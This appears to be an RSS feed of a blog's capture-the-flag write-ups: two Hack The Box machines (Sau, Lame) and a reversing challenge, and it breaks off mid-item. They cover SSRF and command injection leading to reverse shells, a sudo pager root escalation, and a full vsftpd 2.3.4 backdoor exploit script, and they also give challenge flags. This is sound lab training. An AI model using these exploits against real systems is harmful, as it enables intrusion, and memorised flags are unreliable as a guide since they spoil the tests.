<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by ColdByte on Medium]]></title>
        <description><![CDATA[Stories by ColdByte on Medium]]></description>
        <link>https://medium.com/@coldbyte.main?source=rss-e604ced5b7a6------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*M8Mv_LdTtxJhQI1kljiUMQ.png</url>
            <title>Stories by ColdByte on Medium</title>
            <link>https://medium.com/@coldbyte.main?source=rss-e604ced5b7a6------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 14 Nov 2026 03:15:13 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@coldbyte.main/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com" rel="hub"/>
        <item>
            <title><![CDATA[HTB Sau: Write-up]]></title>
            <link>https://medium.com/@coldbyte.main/htb-sau-write-up-ab26cc1d535a?source=rss-e604ced5b7a6------2</link>
            <guid isPermaLink="false">https://medium.com/p/ab26cc1d535a</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[ssrf]]></category>
            <category><![CDATA[command-injection]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[ColdByte]]></dc:creator>
            <pubDate>Fri, 13 Nov 2026 21:41:23 GMT</pubDate>
            <atom:updated>2026-11-13T21:41:23.401Z</atom:updated>
            <content:encoded><![CDATA[<h3># Enumeration</h3><p>I started by running nmap -T4 -p- &lt;ip&gt; to identify all open ports:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/549/1*VLymOV0bV_tjSanikTYOLA.png" /><figcaption>Initial nmap scan to identify open ports.</figcaption></figure><p>I then ran nmap against the open ports, to identify the service: nmap -T4 -p 22,80,8338,55555 -sV -sC &lt;ip&gt;. This identified the following ports:</p><ul><li>22: OpenSSH 8.2p1</li><li>80: filtered-http</li><li>8338: filtered-unknown</li><li>55555: Golang net/http server</li></ul><p>I then tried visiting http://&lt;ip&gt;:80, which returned a 404. I then tried http://&lt;ip&gt;:55555, which returned a website called “Request Baskets” powered by request-baskets 1.2.1.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*7aPGiU6ZM2BXWajGC9u1qw.png" /><figcaption>Website running on port 55555.</figcaption></figure><p>A quick Google search indicates that this version of Request Baskets contains a SSRF vulnerability via /api/baskets/{name} (CVE-2023–27163). According to the description, this vulnerability should let us access both network resources and sensitive information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/683/1*yv3uIMEw_ksRkpTM5nDwXw.png" /></figure><p>According to <a href="https://www.huntress.com/threat-library/vulnerabilities/cve-2023-27163">Huntress</a>, the vulnerability could lead to a “full system takeover”.</p><h3># Exploitation</h3><h4>## Server-Side Request Forgery (SSRF)</h4><p>To find an exploit for CVE-2023–27163, I simply Google’d CVE-2023-27163 site:github.com. I found <a href="https://github.com/entr0pie/CVE-2023-27163">this</a> PoC exploit and downloaded it.</p><p>This exploit takes two arguments:</p><ol><li>The URL to the website (http://&lt;ip&gt;:55555).</li><li>The ‘URL’ to my machine (http://&lt;attacker-ip&gt;:&lt;attacker-port&gt;)</li></ol><p>First, I set up a netcat listener. Then I ran the exploit, which created a basket called “ragnqt”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/254/1*tYcVnnRGD7Wo6ohz86ptzQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*y1P61d8QxMQH_BLYXva8yg.png" /><figcaption>Setting up the listener and running the exploit.</figcaption></figure><p>I then opened the newly created basket: http://&lt;ip&gt;:55555/ragnqt. This resulted in the GET request being shown in netcat, proving that the service is vulnerable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*wCWOalWSBjvZn9nPmJAI0w.png" /></figure><p>From the enumeration phase, I wasn’t able to identify the service running on port 80. However, we can use this exploit to get the HTML proxied back from the internal/local service. Let’s try.</p><p>To do this, we simply change the second argument to <a href="http://127.0.0.1:80">http://127.0.0.1:80</a> and run the exploit:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/933/1*RcSA391WMT5VxTjeym403A.png" /></figure><p>Now we can visit the newly created basket:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*KQTUpKy69WmgqToOesgneQ.png" /></figure><h4>## Command Injection</h4><p>As we can see above, Maltrail 0.53 was running on port 80. A quick Google search indicates that this version of Maltrail is vulnerable to unauthenticated command injection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*kXBsODsNErS9ufS4ECW40A.png" /></figure><p>I then Google’d Maltrail 0.53 exploit site:github.com and found this <a href="https://github.com/spookier/Maltrail-v0.53-Exploit">exploit</a>. This Python script takes three arguments:</p><ol><li>The attacker IP.</li><li>The attacker listening port.</li><li>The target URL.</li></ol><p>First I set up a listener with nc -lvnp 4448 and ran the exploit. This got me a shell as the user “puma”:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*-mqKcuaZzz4fQevx328wYw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/511/1*nSdjEfBL1x7ceK-U7c4zKQ.png" /></figure><p>Let’s upgrade the shell before moving on. Follow these steps:</p><ol><li>In the shell: python3 -c ‘import pty; pty.spawn(“/bin/bash”)’</li><li>CTRL + Z</li><li>In your terminal: stty raw -echo; fg (you may have to click Enter a few times)</li><li>In the shell: export TERM=xterm</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/519/1*myreM7w8b-oHCcM776OtYg.png" /></figure><p>Now let’s get the user flag. It’s called user.txt and is located in puma’s home folder.</p><h3># Privilege Escalation</h3><p>When working on privilege escalation in Linux systems, the first command you want to run is sudo -l. The command shows what commands the current user can run as sudo.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*LqJq2yBQPJZyN26QCtfcsQ.png" /></figure><p>Luckily for us, this is really easy to exploit. systemctl uses less as the default pager if the output is longer than the terminal window. Furthermore, in less we can actually run commands, including spawning shells. And since we run the command as root, the resulting shell will be spawned with root. Let’s try.</p><p>First run sudo /usr/bin/systemctl status trail.service and then write !/bin/bash and click Enter. This will spawn a shell as root!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/1*WK4osiYPIfUJkRKOXcz9-w.png" /></figure><p>The last step is simply to find the root flag, which is located at /root/root.txt.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ab26cc1d535a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Lame: Writeup]]></title>
            <link>https://medium.com/@coldbyte.main/htb-lame-writeup-0b2e6338e1a1?source=rss-e604ced5b7a6------2</link>
            <guid isPermaLink="false">https://medium.com/p/0b2e6338e1a1</guid>
            <category><![CDATA[exploit]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[ColdByte]]></dc:creator>
            <pubDate>Sat, 31 Oct 2026 15:28:19 GMT</pubDate>
            <atom:updated>2026-10-31T15:28:19.605Z</atom:updated>
            <content:encoded><![CDATA[<p>Below you can read how I solved the <strong><em>Lame</em></strong> machine by Hack The Box. I strongly recommend that you attempt to solve the machine before reading this writeup.</p><h3># Enumeration</h3><h4>## Task 1</h4><p><strong><em>How many of the </em></strong><strong><em>nmap top 1000 TCP ports are open on the remote host?</em></strong></p><p>I started by scanning the target using Nmap to identify open TCP ports. By default, Nmap scans the 1,000 most common ports.</p><pre>$ nmap -T4 10.129.93.45<br>Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-10-31 13:51 UTC<br>Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn<br>Nmap done: 1 IP address (0 hosts up) scanned in 2.03 seconds</pre><p>Based on the response, I repeated the scan with -Pn to skip host discovery:</p><pre>$ nmap -T4 10.129.93.45 -Pn<br>Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-10-31 13:51 UTC<br>Nmap scan report for 10.129.93.45<br>Host is up (0.031s latency).<br>Not shown: 996 filtered tcp ports (no-response)<br>PORT    STATE SERVICE<br>21/tcp  open  ftp<br>22/tcp  open  ssh<br>139/tcp open  netbios-ssn<br>445/tcp open  microsoft-ds</pre><p><strong>Answer to task one: </strong><strong>4</strong></p><h4><strong>## Task 2</strong></h4><p><strong><em>What version of VSFTPd is running on Lame?</em></strong></p><p>To identify service versions and additional information, I ran another scan using -sV for version detection and -sC to run Nmap’s default scripts:</p><pre>$ nmap -T4 10.129.93.45 -Pn -sV -sC<br>Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-10-31 13:54 UTC<br>Nmap scan report for 10.129.93.45<br>Host is up (0.028s latency).<br>Not shown: 996 filtered tcp ports (no-response)<br>PORT    STATE SERVICE     VERSION<br>21/tcp  open  ftp         vsftpd 2.3.4<br>|_ftp-anon: Anonymous FTP login allowed (FTP code 230)<br>| ftp-syst: <br>|   STAT: <br>| FTP server status:<br>|      Connected to 10.10.15.218<br>|      Logged in as ftp<br>|      TYPE: ASCII<br>|      No session bandwidth limit<br>|      Session timeout in seconds is 300<br>|      Control connection is plain text<br>|      Data connections will be plain text<br>|      vsFTPd 2.3.4 - secure, fast, stable<br>|_End of status<br>22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)<br>| ssh-hostkey: <br>|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)<br>|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)<br>139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)<br>445/tcp open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)<br>Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel<br><br>Host script results:<br>|_smb2-time: Protocol negotiation failed (SMB2)<br>| smb-security-mode: <br>|   account_used: guest<br>|   authentication_level: user<br>|   challenge_response: supported<br>|_  message_signing: disabled (dangerous, but default)<br>| smb-os-discovery: <br>|   OS: Unix (Samba 3.0.20-Debian)<br>|   Computer name: lame<br>|   NetBIOS computer name: <br>|   Domain name: hackthebox.gr<br>|   FQDN: lame.hackthebox.gr<br>|_  System time: 2026-10-31T09:54:20-04:00<br>|_clock-skew: mean: 1h59m41s, deviation: 2h49m44s, median: -20s</pre><p>The scan revealed several interesting findings. FTP uses vsftpd 2.3.4 with anonymous login enabled. SSH uses OpenSSH 4.7p1. SMB uses Samba 3.0.20-Debian with SMB message signing disabled.</p><p><strong>Answer to task 2: </strong><strong>2.3.4</strong></p><h3># Vulnerability Identification and Exploitation</h3><h4>## Task 3</h4><p><strong><em>There is a famous backdoor in VSFTPd version 2.3.4, and a Metasploit module to exploit it. Does that exploit work here?</em></strong></p><p>I started with searching ExploitDB for vulnerabilities affecting vsftpd 2.3.4 and found an exploit called <a href="https://www.exploit-db.com/exploits/17491">vsftpd 2.3.4 — Backdoor Command Execution (Metasploit)</a>. Since this is a Metasploit module, I opened msfconsole and searched for the exploit and found this exploit:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Rm8uv_VPO2dzTVn01R-lYg.png" /></figure><p>I then configured the options and executed the exploit. However, it failed to establish a session.</p><p><strong>Answer: </strong><strong>no</strong></p><h4>## Task 4</h4><p><strong><em>What version of Samba is running on Lame? Give the numbers up to but not including “-Debian”.</em></strong></p><p>I found this initially. The Nmap scan identified Samba 3.0.20-Debian running on port 445.</p><p><strong>Answer: </strong><strong>3.0.20</strong></p><h4>## Task 5</h4><p><strong><em>What 2007 CVE allows for remote code execution in this version of Samba via shell metacharacters involving the </em></strong><strong><em>SamrChangePassword function when the &quot;username map script&quot; option is enabled in </em></strong><strong><em>smb.conf?</em></strong></p><p>To find potential exploits affecting Samba 3.0.20, I searched for the version in Metasploit. The search returned two results, one of which matched the vulnerability described in the question:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y_z2rkkH7fV58V6XW33j6Q.png" /></figure><p>I then ran info on the exploit to see its description. At the bottom there are several references to CVE-2007–2447:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*ujFBUDyTdn41Lbs5e8Hw0g.png" /></figure><p>According to CVE.org, the vulnerability affects Samba 3.0.0 through 3.0.25rc3 and allows remote code execution through shell metacharacters in certain MS-RPC functions, including SamrChangePassword when the username map script option is enabled.</p><p><strong>Answer: </strong><strong>CVE-2007-2447</strong></p><h4>## Task 6</h4><p><strong><em>Exploiting CVE-2007–2447 returns a shell as which user?</em></strong></p><p>I first attempted to exploit the vulnerability using the Metasploit module I found previously. However, the exploit failed with the following error:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GmvTE_xN9CYJ1Eeo9UC3Rg.png" /></figure><p>“Luckily”, the error appears to be related to a local issue — not the vulnerability itself. I therefore searched for an alternative exploit and found one on <a href="https://github.com/pulkit-mital/samba-usermap-script">GitHub</a>.</p><p>I first started a Netcat listener on port 4444:</p><pre>$ nc -lvnp 4444</pre><p>I then executed the Python script, specifying the target IP address, SMB port, my VPN IP address and the listener port:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/1*2Paw_ZYbCyzZc33NB7Uq5Q.png" /></figure><p>Shortly afterwards, Netcat received the connection. To identify which user the shell was running as, I executed whoami:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/426/1*uf-j2kC9GkZv0GyPV6uNIA.png" /></figure><p><strong>Answer: </strong><strong>root</strong></p><h4>## Task 7–8</h4><p><strong><em>Submit the flag located in the makis user’s home directory and root’s home directory.</em></strong></p><p>Since the shell was already running as root, I could read both flags:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/327/1*A3O1Bq4lNPdOuxGPHZbbWg.png" /></figure><p><strong>Answer 7: </strong><strong>8ab0c0cc747b7592f8906de9918be44e</strong></p><p><strong>Answer 8: </strong><strong>26786617c32a70fd9e96528d4b343d00</strong></p><h3># Investigating VSFTPd</h3><h4>## Task 9</h4><p><strong><em>We’ll explore a bit beyond just getting a root shell on the box. While the official writeup doesn’t cover this, you can look at </em></strong><a href="https://0xdf.gitlab.io/2020/04/07/htb-lame.html#beyond-root---vsftpd"><strong><em>0xdf’s write-up</em></strong></a><strong><em> for more details. With a root shell, we can look at why the VSFTPd exploit failed. Our initial </em></strong><strong><em>nmap scan showed four open TCP ports. Running </em></strong><strong><em>netstat -tnlp shows many more ports listening, including ones on 0.0.0.0 and the boxes external IP, so they should be accessible. What must be blocking connection to these ports?</em></strong></p><p>Since netstat -tlnp shows more listening ports than Nmap found, I suspected that a firewall was blocking incoming connections. To investigate, I inspected the firewall rules using iptables -L -n -v.</p><p>The output, seen on the left below, contains several UFW chains including ufw-user-input. That chain contains rules allowing incoming connections on TCP ports 21, 22, 139, 445 and 3632.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O96quYpeNi4leqsCUkb-0g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*tjAOIyOsmeUR1JxqMlnv8A.png" /></figure><p>To verify that these ports (including the “extra” 3632) are accessible, I performed another Nmap scan:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*Ukay8G4ZUt98zyaE4LPmEQ.png" /></figure><p>This confirms that all five ports were open. All together, this supports my conclusion that the firewall was restricting access.</p><p><strong>Answer: </strong><strong>firewall</strong></p><h4>## Task 10</h4><p><strong><em>When the VSFTPd backdoor is trigger, what port starts listening?</em></strong></p><p>To investigate the backdoor, I found another exploit on <a href="https://www.exploit-db.com/exploits/49757">ExploitDB</a>. I have pasted the exploit below. As we can see, the script attempts to open another connection using tn2 = Telnet(host, 6200).</p><pre>from telnetlib import Telnet <br>import argparse<br>from signal import signal, SIGINT<br>from sys import exit<br><br>def handler(signal_received, frame):<br>    # Handle any cleanup here<br>    print(&#39;   [+]Exiting...&#39;)<br>    exit(0)<br><br>signal(SIGINT, handler)                           <br>parser=argparse.ArgumentParser()        <br>parser.add_argument(&quot;host&quot;, help=&quot;input the address of the vulnerable host&quot;, type=str)<br>args = parser.parse_args()       <br>host = args.host                        <br>portFTP = 21 #if necessary edit this line<br><br>user=&quot;USER nergal:)&quot;<br>password=&quot;PASS pass&quot;<br><br>tn=Telnet(host, portFTP)<br>tn.read_until(b&quot;(vsFTPd 2.3.4)&quot;) #if necessary, edit this line<br>tn.write(user.encode(&#39;ascii&#39;) + b&quot;\n&quot;)<br>tn.read_until(b&quot;password.&quot;) #if necessary, edit this line<br>tn.write(password.encode(&#39;ascii&#39;) + b&quot;\n&quot;)<br><br>tn2=Telnet(host, 6200)<br>print(&#39;Success, shell opened&#39;)<br>print(&#39;Send `exit` to quit shell&#39;)<br>tn2.interact()</pre><p><strong>Answer: </strong><strong>6200</strong></p><h4>## Task 11</h4><p><strong><em>When the VSFTPd backdoor is triggered, does port 6200 start listening on Lame?</em></strong></p><p>To verify if port 6200 starts listening after the backdoor is triggered, I downloaded the exploit and ran it against the target:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xaRlbCyWD3aa9_Ja9KBXOQ.png" /></figure><p>The script did not establish a shell. However, since I already had root, I inspected the port 6200 using netstat — before and after running the script:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*qVHy9kWlhshcJTrjIBszBg.png" /></figure><p>This confirms that the backdoor had been triggered and that VSFTPd was listening on port 6200.</p><p><strong>Answer: </strong><strong>yes</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0b2e6338e1a1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CyLab Academy: Investigative Reversing 1]]></title>
            <link>https://medium.com/@coldbyte.main/cylab-academy-investigative-reversing-1-10637108cde1?source=rss-e604ced5b7a6------2</link>
            <guid isPermaLink="false">https://medium.com/p/10637108cde1</guid>
            <category><![CDATA[steganography]]></category>
            <category><![CDATA[ghidra]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <dc:creator><![CDATA[ColdByte]]></dc:creator>
            <pubDate>Fri, 16 Oct 2026 16:18:10 GMT</pubDate>
            <atom:updated>2026-10-16T16:18:10.428Z</atom:updated>
            <content:encoded><![CDATA[<p>Below you can read how I solved the <em>Investigative Reversing 1 </em>challenge by CyLab Academy. I strongly recommend that you attempt to solve the challenge <em>before</em> reading this write-up.</p><h3>Investigative Reversing 1</h3><p>“<strong><em>We have recovered a </em></strong><a href="https://challenge-files.cylabacademy.net/library/ecf6d8df0e83721a749fc5423df6b0b8053d4127ab56ec673bb404c9da2a306d/investigative-reversing-1-mystery"><strong><em>binary</em></strong></a><strong><em> and a few images: </em></strong><a href="https://challenge-files.cylabacademy.net/library/ecf6d8df0e83721a749fc5423df6b0b8053d4127ab56ec673bb404c9da2a306d/investigative-reversing-1-mystery.png"><strong><em>image</em></strong></a><strong><em>, </em></strong><a href="https://challenge-files.cylabacademy.net/library/ecf6d8df0e83721a749fc5423df6b0b8053d4127ab56ec673bb404c9da2a306d/investigative-reversing-1-mystery2.png"><strong><em>image2</em></strong></a><strong><em>, </em></strong><a href="https://challenge-files.cylabacademy.net/library/ecf6d8df0e83721a749fc5423df6b0b8053d4127ab56ec673bb404c9da2a306d/investigative-reversing-1-mystery3.png"><strong><em>image3</em></strong></a><strong><em>. See what you can make of it. There should be a flag somewhere.</em></strong>”</p><p>I started by running <strong>zsteg </strong>against the provides images. At least investigative-reversing-1-mystery.png and investigative-reversing-1-mystery3.png seems to contain parts of the flag. Together, it’s 26 bytes of data after image end (IEND):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/823/1*gpgkk8xhouV60jSY1o2_BQ.png" /></figure><p>I then started examining the binary. I started by running <strong>diec </strong>to gather some basic information, which returned the following:</p><pre>$ diec investigative-reversing-1-mystery<br>ELF64<br>    Compiler: GCC((Ubuntu 8.2.0-7ubuntu1) 8.2.0)<br>    Library: GLIBC(2.4)[DYN AMD64-64]</pre><p>This means that we are dealing with a 64-bit ELF file, which is the executable file format for Linux. Furthermore, the program was compiled using GCC and utilizes the standard library, glibc (GNU C Library).</p><p>Next, I ran <strong>strings </strong>on the binary, which returned, among other things:</p><pre>flag.txt<br>mystery.png<br>mystery2.png<br>mystery3.png<br>No flag found, please make sure this is run on the server<br>mystery.png is missing, please run this on the server</pre><p>The binary here appears to be quite similar to the one in the <a href="https://medium.com/@coldbyte.main/cylab-academy-investigative-reversing-0-b4132d112355">first task</a>, but in this case, there are three images instead of one. The next step is to decompile the binary to examine the code. I proceeded to open the binary in <strong>Ghidra</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-JL8v9NWlUq27PNhI_7_SQ.png" /></figure><p>Below is an excerpt from the code. It first opens flag.txt in read mode and the images mystery.png, mystery2.png and mystery3.png in append mode, which means that data is written to the end of the image file.</p><pre>__stream = fopen(&quot;flag.txt&quot;,&quot;r&quot;);<br>__stream_00 = fopen(&quot;mystery.png&quot;,&quot;a&quot;);<br>__stream_01 = fopen(&quot;mystery2.png&quot;,&quot;a&quot;);<br>__stream_02 = fopen(&quot;mystery3.png&quot;,&quot;a&quot;);</pre><p>As you can see below, fread(local_38, 0x1a, 1, __stream) first reads 26 bytes from flag.txt. This aligns with the 26 bytes we discovered using zsteg. The next step, therefore, is to examine exactly how the program appends the values, so that we can reverse the process and get the flag.</p><pre>fread(local_38,0x1a,1,__stream);</pre><p>Before moving on, let’s translate the pointers to the file names:</p><ul><li>__stream = flag.txt</li><li>__stream_00 = mystery.png</li><li>__stream_01 = mystery2.png</li><li>__stream_02 = mystery3.png</li></ul><p>Just to recap before we really get started: the program distributes the 26 characters that make up the flag across three images. To reconstruct the flag, I first need to determine where each character was placed.</p><p>As you can see below, the second character is added to mystery3.png. However, the character is not changed:</p><pre>fputc((int)local_38[1],__stream_02);</pre><p>The first character is changed and then added to mystery2.png:</p><pre>fputc((int)(char)(local_38[0] + &#39;\x15&#39;),__stream_01);</pre><p>0x15, or ‘\x15’ is the hexadecimal notation for 21 in decimal. Thus, the second image contains a modified version of the first character. To get the orginal character, we will later subtract 0x15 from that value.</p><p>The third character is added to mystery3.png unchanged:</p><pre>fputc((int)local_38[2],__stream_02)</pre><p>The fourth character, however, is stored temporarily and is not yet written to an image. However, this temporary variable is used in a loop later.</p><pre>local_6b = local_38[3]</pre><p>The loop:</p><pre>for (local_68 = 6; local_68 &lt; 10; local_68 = local_68 + 1) {<br>  local_6b = local_6b + &#39;\x01&#39;;<br>  fputc((int)local_38[local_68],__stream_00);<br>}</pre><p>The loop runs four times, with local_68 taking the values, 6, 7, 8, and 9. In each iteration, it increases local_6b with 1. Separately, it writes the character at local_38[local_68] to mystery.png unchanged. This places the seventh through tenth characters in that image, while increasing the fourth character by 4.</p><p>The stored fourth character has now had its numerical value increased by 4. It’s then written to mystery2.png:</p><pre>fputc((int)local_6b,__stream_01)</pre><p>Now, back to character 5 and 6. These are both written unchanged:</p><pre>fputc((int)local_33,__stream_02);<br>fputc((int)local_34,__stream_00);</pre><p>The first line writes the sixth character to mystery3.png, and the second line writes the fifth character to mystery.png. As mentioned above, both are written unchanged.</p><p>The next loop writes the characters at index 10 through 14 to mystery3.png unchanged:</p><pre>for (local_64 = 10; local_64 &lt; 0xf; local_64 = local_64 + 1) {<br>  fputc((int)local_38[local_64],__stream_02);<br>}</pre><p>The last loop writes the remaining eleven characters to mystery.png. Again, no arithmetic operation is applied, so the characters are written unchanged.</p><pre>for (local_60 = 0xf; local_60 &lt; 0x1a; local_60 = local_60 + 1) {<br>  fputc((int)local_38[local_60],__stream_00);<br>}</pre><p>Based on this, we can state the following: mystery.png should contain 16 extra bytes, mystery2.png should contain 2 extra bytes, and mystery3.png should contain 8 extra bytes. That’s correct — <strong>zsteg </strong>showed the same values!</p><p>To obtain the original flag, I must reverse the changes in mystery2.png and place all the characters back in their original order. Luckily, the airthmetic part is simple: only the two bytes in mystery2.png were changed.</p><p>The two bytes in mystery2.png are 0x76 and 0x68. At 0x76, 0x15 was added, so we must subtract 0x15. At 0x68, 0x4 was added, so we must subtract 0x4. Unchanged, it looks like this in <strong>Ghex</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Li7lMbm7-GeHrgJxDV7e2A.png" /></figure><p>After reversing the arithmetic operations, mystery2.png looks like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MhYojaUBg59OuB8Hp0R3Ww.png" /></figure><p>Next, we must assemble the flag following this sequence:</p><ul><li>Index 0 of the flag: the first byte from mystery2.png, after reversing.</li><li>Index 1–2 of the flag: the first and second byte from mystery3.png.</li><li>Index 3 of the flag: the second byte from mystery2.png, after reversing.</li><li>Index 4 of the flag: the first byte from mystery.png.</li><li>Index 5 of the flag: the third byte from mystery3.png.</li><li>Index 6–9 of the flag: bytes 2–5 from mystery.png.</li><li>Index 10–14 of the flag: bytes 4–8 from mystery3.png.</li><li>Index 15–25 of the flag: bytes 6–16 from mystery.png.</li></ul><p>Let’s put the whole flag together: I ran <strong>zsteg -a </strong>on all the images again — and added the characters in order. That resulted in:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/1*I-en13GFapZx8eJPGg24mA.png" /></figure><p><strong>Answer: </strong><strong>academy{An0tha_1_7a75d9ea}</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=10637108cde1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CyLab Academy: Investigative Reversing 0]]></title>
            <link>https://medium.com/@coldbyte.main/cylab-academy-investigative-reversing-0-b4132d112355?source=rss-e604ced5b7a6------2</link>
            <guid isPermaLink="false">https://medium.com/p/b4132d112355</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[steganography]]></category>
            <category><![CDATA[ghidra]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <dc:creator><![CDATA[ColdByte]]></dc:creator>
